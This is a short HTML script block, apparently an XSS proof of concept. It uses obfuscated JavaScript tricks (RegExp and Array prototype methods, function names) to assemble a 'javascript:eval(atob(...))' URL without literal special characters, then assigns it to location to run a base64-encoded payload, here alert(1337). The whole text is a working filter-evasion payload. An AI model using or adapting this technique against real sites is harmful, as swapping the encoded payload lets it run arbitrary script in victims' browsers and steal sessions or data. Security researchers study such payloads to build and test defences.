<script>

    // following are be replaced via a+o+0+P ...  

    var BASE64_PAYLOAD = 'ao0PTA7YWxlcnQoMTMzNykvLwa'

    // atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/) == "ýª4=0;alert(1337)//•¿"

    var JAVASCRIPT = 'javascript'

​

    // empty string

    empty=RegExp.prototype.flags

​

    // generate /ao0PTA7YWxlcnQoMTMzNykvLwa/

    xx={}

    xx.source=BASE64_PAYLOAD

    xx.flags=empty

    xx.toString=RegExp.prototype.toString

    // RegExp.prototype.source == '(?:)'

    yy={...RegExp.prototype.source}

    yy.toString=Array.prototype.shift

    yy.length=4

    left=yy+empty

    yy+empty

    colon=yy+empty

    right=yy+empty

​

    // set javascript url to execute eval(atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/))

    location=JAVASCRIPT+colon+eval.name+left+atob.name+left+xx+right+right

</script>